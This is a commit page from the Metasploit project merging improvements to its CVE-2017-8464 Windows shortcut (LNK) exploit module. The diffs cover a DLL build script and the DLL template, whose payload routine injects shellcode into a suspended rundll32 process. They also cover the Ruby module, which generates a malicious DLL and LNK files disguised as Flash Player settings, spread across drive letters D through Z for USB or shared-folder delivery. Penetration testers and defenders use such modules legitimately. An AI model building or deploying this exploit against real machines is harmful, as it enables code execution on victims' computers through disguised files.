Skip to content

Commit a4bc3ea

Browse files
author
Wei Chen
committed
Merge branch 'pr9032' into upstream-master
Land rapid7#9032, Improve CVE-2017-8464 LNK exploit Land rapid7#9032
2 parents 88f5335 + 482ce00 commit a4bc3ea

File tree

3 files changed

+29
-22
lines changed

3 files changed

+29
-22
lines changed

data/exploits/cve-2017-8464/src/build.sh

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,10 @@ CCx64="x86_64-w64-mingw32"
66

77
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
88
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
9-
${CCx64}-strip -s temp.dll -o template_x64_windows.dll
9+
${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
1010
rm -f temp.dll *.o
1111

1212
${CCx86}-gcc -c -Os template.c -Wall -shared
1313
${CCx86}-dllwrap --def template.def *.o -o temp.dll
14-
${CCx86}-strip -s temp.dll -o template_x86_windows.dll
14+
${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
1515
rm -f temp.dll *.o
16-

data/exploits/cve-2017-8464/src/template.c

100755100644
Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -22,13 +22,13 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
2222
ExecutePayload();
2323
break;
2424

25-
case DLL_PROCESS_DETACH:
25+
case DLL_PROCESS_DETACH:
2626
break;
2727

28-
case DLL_THREAD_ATTACH:
28+
case DLL_THREAD_ATTACH:
2929
break;
3030

31-
case DLL_THREAD_DETACH:
31+
case DLL_THREAD_DETACH:
3232
break;
3333
}
3434

@@ -69,7 +69,7 @@ void ExecutePayload(void)
6969
inline_bzero(&si, sizeof(si));
7070
si.cb = sizeof(si);
7171

72-
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
72+
// Create a suspended process, write shellcode into stack, resume it
7373
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
7474
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
7575
GetThreadContext(pi.hThread, &ctx);

modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

Lines changed: 23 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -17,18 +17,23 @@ def initialize(info = {})
1717
info,
1818
'Name' => 'LNK Code Execution Vulnerability',
1919
'Description' => %q{
20-
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL.
20+
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
21+
that contain a dynamic icon, loaded from a malicious DLL.
2122
2223
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
2324
similar except an additional SpecialFolderDataBlock is included. The folder ID set
2425
in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
2526
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
2627
DLL file.
28+
29+
If no PATH is specified, the module will use drive letters D through Z so the files
30+
may be placed in the root path of a drive such as a shared VM folder or USB drive.
2731
},
2832
'Author' =>
2933
[
30-
'Uncredited', # vulnerability discovery
31-
'Yorick Koster' # msf module
34+
'Uncredited', # vulnerability discovery
35+
'Yorick Koster', # msf module
36+
'Spencer McIntyre' # msf module
3237
],
3338
'License' => MSF_LICENSE,
3439
'References' =>
@@ -56,28 +61,30 @@ def initialize(info = {})
5661
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],
5762
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]
5863
],
59-
'DefaultTarget' => 0, # Default target is Automatic
60-
'DisclosureDate' => 'Jun 13 2017'
64+
'DefaultTarget' => 0, # Default target is Automatic
65+
'DisclosureDate' => 'Jun 13 2017'
6166
)
6267
)
6368

6469
register_options(
6570
[
6671
OptString.new('FILENAME', [false, 'The LNK file', 'Flash Player.lnk']),
6772
OptString.new('DLLNAME', [false, 'The DLL file containing the payload', 'FlashPlayerCPLApp.cpl']),
68-
OptString.new('DRIVE', [false, 'Drive letter assigned to USB drive on victim\'s machine'])
73+
OptString.new('PATH', [false, 'An explicit path to where the files will be hosted'])
6974
]
7075
)
7176

7277
register_advanced_options(
7378
[
74-
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])
79+
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
80+
OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
81+
OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
7582
]
7683
)
7784
end
7885

7986
def exploit
80-
path = ::File.join(Msf::Config.data_directory, 'exploits/cve-2017-8464')
87+
path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
8188
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
8289
datastore['EXE::Path'] = path
8390
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
@@ -87,14 +94,14 @@ def exploit
8794
dll_path = store_file(dll, dll_name)
8895
print_status("#{dll_path} created, copy it to the root folder of the target USB drive")
8996

90-
if datastore['DRIVE']
91-
lnk = generate_link("#{datastore['DRIVE'].split(':')[0]}:\\#{dll_name}")
97+
if datastore['PATH']
98+
lnk = generate_link("#{datastore['PATH'].chomp("\\")}\\#{dll_name}")
9299
lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
93100
lnk_path = store_file(lnk, lnk_filename)
94-
print_status("#{lnk_path} created, copy to the target USB drive")
101+
print_status("#{lnk_path} created, copy to the target paths")
102+
95103
else
96-
# HACK: the vulnerability doesn't appear to work with UNC paths
97-
# Create LNK files to different drives instead
104+
# HACK: Create LNK files to different drives instead
98105
# Copying all the LNK files will likely trigger this vulnerability
99106
('D'..'Z').each do |i|
100107
fname, ext = (datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk").split('.')
@@ -108,9 +115,10 @@ def exploit
108115
end
109116

110117
def generate_link(path)
118+
vprint_status("Generating LNK file to load: #{path}")
111119
path << "\x00"
112-
display_name = "Flash Player\x00" # LNK Display Name
113-
comment = "Manage Flash Player Settings\x00"
120+
display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
121+
comment = datastore['LnkComment'].dup << "\x00"
114122

115123
# Control Panel Applet ItemID with our DLL
116124
cpl_applet = [

0 commit comments

Comments
 (0)